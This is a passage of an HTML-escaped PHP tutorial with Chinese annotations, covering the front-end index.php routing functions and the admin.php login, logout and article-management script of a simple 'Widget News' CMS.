    &lt;span class=&quot;nx&quot;&gt;viewArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;homepage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articles'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'results'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Article Archive | Widget News&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/archive.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;viewArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;articleId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;articleId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;homepage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;articleId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; | Widget News&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/viewArticle.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;homepage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;HOMEPAGE_NUM_ARTICLES&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articles'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'results'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Widget News&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/homepage.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;step-6-write-the-back-end-adminphp-script&quot;&gt;Step 6: Write the back-end &lt;code class=&quot;highlighter-rouge&quot;&gt;admin.php&lt;/code&gt; script&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    Start a user session

    &lt;blockquote&gt;
      Towards the top of the script we call &lt;code class=&quot;highlighter-rouge&quot;&gt;session_start()&lt;/code&gt; . This PHP function starts a new session for the user, which we can use to track whether the user is logged in or not. (If a session for this user already exists, PHP automatically picks it up and uses it.)

      Because sessions need cookies to work, and cookies are sent to the browser before content, you should call&lt;code class=&quot;highlighter-rouge&quot;&gt;session_start()&lt;/code&gt; at the top of the script, before any content has been output.
    &lt;/blockquote&gt;

    &lt;code class=&quot;highlighter-rouge&quot;&gt;session_start()&lt;/code&gt; 函数一般要放在其他代码之前。因为会话要基于 cookies 来工作，而 cookies 要在其他内容交互之前进行传输。
  &lt;/li&gt;
  &lt;li&gt;
    Grab the &lt;code class=&quot;highlighter-rouge&quot;&gt;action&lt;/code&gt; parameter and &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; session session variable
  &lt;/li&gt;
  &lt;li&gt;
    Check the user is logged in
  &lt;/li&gt;
  &lt;li&gt;
    Decide which action to perform
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;login()&lt;/code&gt;

    &lt;blockquote&gt;
      If the user has submitted the login form — which we check by looking for the &lt;code class=&quot;highlighter-rouge&quot;&gt;login&lt;/code&gt; form parameter — then the function checks the entered username and password against the config values &lt;code class=&quot;highlighter-rouge&quot;&gt;ADMIN_USERNAME&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;ADMIN_PASSWORD&lt;/code&gt;. If they match then the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt;session key is set to the admin username,
    &lt;/blockquote&gt;

    这里只是把用户提交的表单数据和 config.php 里的设置进行简单比较来完成验证。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;logout()&lt;/code&gt;

    &lt;blockquote&gt;
      It simply removes the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; session key.

      &lt;code class=&quot;highlighter-rouge&quot;&gt;unset( $_SESSION['username'] );&lt;/code&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;newArticle()&lt;/code&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;editArticle()&lt;/code&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;deleteArticle()&lt;/code&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;listArticles()&lt;/code&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;config.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;session_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'action'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'action'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;login&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;logout&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'login'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'logout'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'newArticle'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;newArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'editArticle'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;editArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'deleteArticle'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;deleteArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;listArticles&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Admin Login | Widget News&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'login'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has posted the login form: attempt to log the user in
&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ADMIN_USERNAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ADMIN_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// Login successful: Create a session and redirect to the admin homepage
&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ADMIN_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// Login failed: display an error message to the user
&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'errorMessage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Incorrect username or password. Please try again.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/admin/loginForm.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has not posted the login form yet: display the form
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/admin/loginForm.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;newArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;New Article&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
